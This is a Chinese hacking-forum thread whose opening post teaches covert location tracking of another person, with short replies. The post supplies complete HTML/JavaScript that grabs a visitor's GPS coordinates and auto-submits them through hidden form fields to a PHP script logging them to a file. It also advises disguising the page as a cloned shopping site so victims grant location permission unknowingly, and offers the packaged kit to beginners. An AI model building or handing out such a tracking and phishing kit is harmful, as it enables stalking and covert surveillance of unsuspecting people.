查看: 28642|回复: 79

[其他发布] 社工之经度纬度定位-50米以内

[复制链接]
TA的每日心情
开心2025-2-24 09:25

签到天数: 499 天

连续签到: 1 天

[LV.9]青行灯

发表于 2017-6-5 14:36:28 | 显示全部楼层 |阅读模式 sssssssz
本帖最后由 sssssssz 于 2017-6-6 10:56 编辑

总所周知,我们的IP定位也只是定位公网IP,精准度顶多在300-100米,
甚至有些时候不能很好的获取对方的位置,
以下的的技术,我自己试了,精准度在50以内

此技术利用了HTML5 Geolocation API
直接调用方法即可,即使是4G网页可以精准定位
最原始代码如下,我自己加了一些

现在编写index.php页面代码
  1. <!DOCTYPE html>

  2. <html lang="en">

  3. <head>

  4.     <meta charset="UTF-8">

  5.     <title>Document</title>

  6. </head>

  7. <body>

  8.   

  9. <img src="1.png" alt="" width="100%;">

  10.     <script>

  11.       var geol;      

  12.         try {

  13.             if (typeof(navigator.geolocation) == 'undefined') {

  14.                 geol = google.gears.factory.create('beta.geolocation');

  15.             } else {

  16.                 geol = navigator.geolocation;

  17.             }

  18.         } catch (error) {

  19.             //alert(error.message);

  20.         }

  21.          

  22.         if (geol) {

  23.             geol.getCurrentPosition(function(position) {

  24.         

  25.         var nowLatitude = position.coords.latitude;            

  26.         var nowLongitude = position.coords.longitude;      

  27.          //以上是固定代码,获取经度纬度

  28.   

  29.     alert("纬度:" + nowLatitude + ", 经度:" + nowLongitude);  //弹出经度纬度的坐标

  30.            

  31.   

  32.                     function new_form(){

  33.             var f=document.createElement("form");

  34.             document.body.appendChild(f);

  35.             f.method="post";

  36.             return f;

  37.         }    //定义函数,创建form

  38.   

  39.         function create_elements(eForm,eName,eValue){

  40.             var e=document.createElement("input");

  41.             eForm.appendChild(e);

  42.             e.type="text";

  43.             e.name=eName;

  44.             if(!document.all){e.style.display="none"}else{

  45.                 e.style.display="block";

  46.                 e.style.width="0px";

  47.                 e.style.height="0px";

  48.             }

  49.             e.value=eValue;

  50.             return e;

  51.         }

  52.   

  53. //这段代码意思就是 定义方法,有两个input 他们的值分别是经度纬度的值

  54.   

  55.         var _f=new_form();

  56.         create_elements(_f,"username",nowLatitude) // 创建form中的input对象

  57.         create_elements(_f,"password",nowLongitude);

  58.       

  59.         _f.action="geolocation2.php";

  60.         _f.submit();   //提交

  61.       

  62. //表单自提交发送到geolocation2.php页面

  63.   

  64.   

  65.   

  66.     }, function(error) {

  67.         switch(error.code){

  68.         case error.TIMEOUT :

  69.             //alert("连接超时,请重试");

  70.             break;

  71.         case error.PERMISSION_DENIED :

  72.             //alert("您拒绝了使用位置共享服务,查询已取消");

  73.             break;

  74.         case error.POSITION_UNAVAILABLE :

  75.             //alert("非常抱歉,我们暂时无法通过浏览器获取您的位置信息");

  76.             break;

  77.         }

  78.     }, {timeout:10000});    //设置十秒超时

  79.   

  80.   

  81.         }

  82. //设置连接超时的报错

  83.   

  84.   

  85.   

  86.   </script>

  87. </body>

  88. </html>
复制代码



然后来写接受页面 geolocation2.php 的代码

  1. <?php

  2. @$time=date('Y-m-d H:i:s',time());  //获取当前时间

  3. $nowLatitude="纬度 ".$_POST['username'];    //接受上个页面传过来的参数(经度坐标)

  4. $nowlongitude="经度 ".$_POST['password']."   ------时间是".$time."\r\n";;    //接受上个页面传过来的参数(纬度坐标)

  5. $fp=fopen("geo.txt", "a+");  //创建一个geo.txt文件

  6. fwrite($fp, $nowLatitude);   //把经度写入到geo.txt里

  7. fwrite($fp, $nowlongitude);   //把纬度写入到geo.txt里

  8.   

  9.   

  10.   

  11. ?>
复制代码

注意点:对方必须点击授权以后才能拿到对方的经度纬度(这个缺点可以结合社工实现)
现在来做个小测试
假设让对方访问
让对方访问我们的站点,他的页面上会显示 它自己的经度,纬度,并且经度纬度会保存在我们的站点数据里

然后我们的站点上生成了一个geo.txt文件

打开geo.txt
对方的经度纬度已经写入


现在我们打开

把经度纬度写上去


给我朋友做的测试,它的确在这里,精准度50

现在来完善上面的缺点
就是去网上扒一个购物网站的源码,把源码复制在index.php
图如下,我把网站源码修改成当当网的了


这样就能精准的获取到他的地址位置~~~(自己试了,超爽的~

如果你是小白,什么都不懂,我已经把源码打包好了,你只需要把代码放在你站点上即可希望大家多多支持,如果大家觉得还不错,我会继续讲,只要一旦获取到别人的经度纬度,立刻会发送他们的位置到我们的邮箱里~ 不过关于定时发送邮件的技术要一些linux基础~


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?创建账号

×
TA的每日心情
无聊2026-4-18 11:52

签到天数: 625 天

连续签到: 1 天

[LV.9]青行灯

发表于 2017-6-5 16:34:18 | 显示全部楼层 菲布伦
你这个获取不了经纬度啊   txt文件里面只有个获取时间  倒是我自己访问网页的时候弹出显示我自己的坐标了
回复 0 1

使用道具 举报

TA的每日心情
慵懒2024-9-21 12:38

签到天数: 1331 天

连续签到: 1 天

[LV.10]茨木童子

发表于 2017-6-6 10:33:08 | 显示全部楼层 终结者
图挂啦 防盗链
回复

使用道具 举报

TA的每日心情
擦汗2017-6-10 03:00

签到天数: 6 天

连续签到: 1 天

[LV.2]天邪鬼

发表于 2017-6-10 03:23:59 | 显示全部楼层 ibm2000
菲布伦 菲布伦
回复

使用道具 举报

TA的每日心情
开心2018-5-27 22:02

签到天数: 4 天

连续签到: 1 天

[LV.2]天邪鬼

发表于 2017-6-14 00:03:55 | 显示全部楼层 SSSP-DK
感谢分享 6666
回复

使用道具 举报

TA的每日心情
奋斗2026-4-22 22:52

签到天数: 234 天

连续签到: 1 天

[LV.7]雪女

发表于 2017-6-15 11:25:19 | 显示全部楼层 曦云
好像没有什么实际用途
回复

使用道具 举报

该用户从未签到

发表于 2017-6-17 05:14:16 | 显示全部楼层 jiuyue
666.感谢分享
回复

使用道具 举报

TA的每日心情
2019-11-26 22:21

签到天数: 7 天

连续签到: 1 天

[LV.3]灯篭鬼

发表于 2017-7-6 18:38:03 | 显示全部楼层 sun12
不能生成geo.txt
回复

使用道具 举报

TA的每日心情
无聊2022-8-11 16:49

签到天数: 18 天

连续签到: 2 天

[LV.4]提灯小僧

发表于 2018-6-28 09:56:15 来自手机 | 显示全部楼层 iou33449999
逻辑正确,操作很难,废柴兄弟!
回复

使用道具 举报

TA的每日心情
2019-10-5 01:00

签到天数: 11 天

连续签到: 1 天

[LV.3]灯篭鬼

发表于 2018-6-29 13:30:14 | 显示全部楼层 sola97
获取地理位置的权限太明显了
回复

使用道具 举报

TA的每日心情
无聊2021-6-16 12:04

签到天数: 20 天

连续签到: 1 天

[LV.4]提灯小僧

发表于 2018-6-30 01:56:56 | 显示全部楼层 yxsdos
我觉得这个有点厉害了
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 创建账号

本版积分规则

Powered by Discuz! X5.0 © 2012-2026 iYa.App.

在本版发帖返回顶部